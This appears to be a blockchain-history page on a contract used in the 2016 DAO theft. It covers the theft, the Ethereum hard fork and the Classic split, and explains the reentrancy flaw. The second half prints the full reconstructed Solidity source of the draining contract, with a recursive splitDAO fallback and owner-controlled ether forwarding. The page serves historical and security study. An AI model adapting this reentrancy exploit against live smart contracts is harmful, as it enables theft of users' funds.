Reentrancy contract from the June 17, 2016 DAO attack. Its owner triggered recursive splitDAO calls to drain The DAO. Exact structural source reconstruction.
Historical Significance
On June 17, 2016, this reentrancy pattern drained about 3.6 million ether from The DAO, worth roughly 60 million US dollars at the time and close to 15 percent of all ether then in circulation. The stolen funds were routed into a child DAO, sometimes called the Dark DAO (0x304a554a), which was subject to a 28 day withdrawal delay. That delay set off a public race to secure the remaining funds before the attacker could cash out.
The theft forced the most contentious decision in Ethereum's history. On July 20, 2016 the network executed a hard fork at block 1,920,000 that moved the drained funds to a recovery contract and effectively reversed the theft. A portion of the community rejected the fork on the principle that a blockchain's recorded history must remain immutable, and continued the original unforked chain as Ethereum Classic (ETC). The forked chain retained the name Ethereum (ETH). The split gave the ecosystem two persistent chains and a lasting philosophical divide between immutability and intervention.
References:
Context
The DAO was a decentralized venture fund launched in April and May 2016 by slock.it, a German startup founded by Christoph Jentzsch, Simon Jentzsch, and Stephan Tual. Participants sent ether to the contract in exchange for DAO tokens that carried voting rights over how the pooled capital would be invested. The crowdsale gathered more than 12.7 million ether, over 150 million US dollars at the time, which made it the largest crowdfunding event created up to that point.
Token holders could exit through a splitDAO function that created a child DAO and returned a proportional share of ether along with accrued rewards. The flaw was in the ordering of that reward path: ether was sent to the caller before the caller's token balance was cleared, which let a contract re-enter and withdraw repeatedly within a single transaction.
After the attack began, the White Hat Group, including Griff Green, Lefteris Karapetsas, and others, deployed contracts using the same exploit to move the remaining vulnerable ether beyond the attacker's reach. Following the July 20, 2016 hard fork, recovered funds were made claimable through a WithdrawDAO contract, letting original DAO token holders redeem their share.
Token Information
Key Facts
Description
This is one of the malicious contracts used to drain The DAO. It exploited a reentrancy flaw in the way The DAO paid out rewards when a token holder split away from the fund.
The attack ran through the contract's own functions and its fallback. The owner first called the trigger function (selector 0x625e847d), which set counter to 1 and called splitDAO(proposalID, curator) on The DAO. Splitting caused The DAO to send this contract its share of the reward account, and that incoming ether invoked the contract's fallback function.
The recursion lived in the fallback. When the caller was The DAO's reward account, the fallback compared counter against limit (set to 29 on the primary instance). While counter was still below the limit it incremented counter and called splitDAO again, before The DAO had finished updating its internal token balances. Because the balance had not yet been zeroed, each nested call paid out against the same tokens a second time. Once counter reached the limit the fallback stopped recursing, moved the accumulated DAO tokens to a paired address held in next, and reset counter to 1 so the cycle could be repeated. If any address other than the reward account triggered the fallback, it emitted an event carrying the string constuctor fail. The misspelling of the word constructor is present in the original on-chain bytecode and is one of the contract's distinguishing fingerprints.
Ether left the contract through owner2.send(this.balance) in the trigger and setup functions, forwarding the balance to an address the attacker controlled. All five byte-identical instances hardcode The DAO at 0xbb9bc244d798123fde783fcc1c72d3bb8c189413, supplied as the constructor argument.
This source is an exact structural reconstruction. It compiles with solc 0.3.5 (June 2016 nightly, optimizer on) to a byte-for-byte match of the on-chain 2142-byte runtime, except for five identifier names that cannot be recovered from bytecode (two public getters, the trigger function, a setter, and one event). Placeholder names are used for those five.
Source Verified
Compiles with solc 0.3.5 (2016-06-14 nightly, commit 371690f0, optimizer on) to a byte-for-byte match of the on-chain 2142-byte runtime, with the sole exception of five identifier names whose original spellings cannot be recovered from bytecode (two public getters at slots 5 and 7, the onlyOwner trigger 0x625e847d, the setter 0x7f9f519f, and the event topic 0xbab6859b). Placeholder names limit, owner2, attack, setLimit, and NewLimit are used for those five. Everything else is confirmed exact. Verified by placeholder-substitution (0 differing bytes), Panoramix decompilation, and on-chain usage of every function.
Heuristic Analysis
The following characteristics were detected through bytecode analysis and may not be accurate.
Homestead Era
The first planned hard fork. Removed the canary contract, adjusted gas costs.
Bytecode Overview
Verified Source Available
Source verified through compiler archaeology and exact bytecode matching.
View Verification ProofShow source code (Solidity)
// Submitted by EthereumHistory (ethereumhistory.com)
contract DAOInterface {
function balanceOf(address addr) returns (uint);
function splitDAO(uint proposalID, address newCurator) returns (bool);
function vote(uint proposalID, bool supportsProposal) returns (uint);
function transfer(address to, uint amount) returns (bool);
function rewardAccount() returns (address);
}
contract DAOReentrancyExploit {
address public owner;
address public curator;
DAOInterface public dao;
uint public counter;
uint public proposalID;
uint public limit;
address public next;
address public owner2;
event NewOwner(address newOwner);
event Transfer(address to, uint value);
event Vote(uint proposalID, bool position);
event SetDAO(address dao);
event SplitDAO(uint proposalID, address next);
event NewLimit(uint limit);
event WRONG(string reason, address who);
function DAOReentrancyExploit(address _dao) {
owner = msg.sender;
dao = DAOInterface(_dao);
}
function() returns (bool) {
if (msg.sender != dao.rewardAccount()) {
WRONG("constuctor fail", msg.sender);
return true;
}
if (counter > limit - 1) {
dao.transfer(next, dao.balanceOf(this));
counter = 1;
return true;
}
counter++;
dao.splitDAO(proposalID, curator);
return true;
}
function setOwner(address _owner) returns (bool) {
if (msg.sender != owner) throw;
NewOwner(_owner);
owner = _owner;
return true;
}
function attack() returns (bool) {
if (msg.sender != owner) throw;
counter = 1;
owner2.send(this.balance);
dao.splitDAO(proposalID, curator);
return true;
}
function setDao(address _dao) returns (bool) {
if (msg.sender != owner) throw;
dao = DAOInterface(_dao);
SetDAO(dao);
return true;
}
function setLimit(uint _limit) returns (bool) {
if (msg.sender != owner) throw;
limit = _limit;
NewLimit(_limit);
return true;
}
function transfer(address _to, uint _amount) returns (bool) {
if (msg.sender != owner) throw;
dao.transfer(_to, _amount);
Transfer(_to, _amount);
return true;
}
function splitDAO(uint _proposalID, address _curator, address _next, uint _limit, address _owner2) returns (bool) {
if (msg.sender != owner) throw;
next = _next;
counter = 1;
curator = _curator;
proposalID = _proposalID;
limit = _limit;
owner2 = _owner2;
owner2.send(this.balance);
dao.splitDAO(proposalID, curator);
SplitDAO(proposalID, next);
return true;
}
function vote(uint _proposalID, bool _supports) returns (bool) {
if (msg.sender != owner) throw;
dao.vote(_proposalID, _supports);
Vote(_proposalID, _supports);
return true;
}
}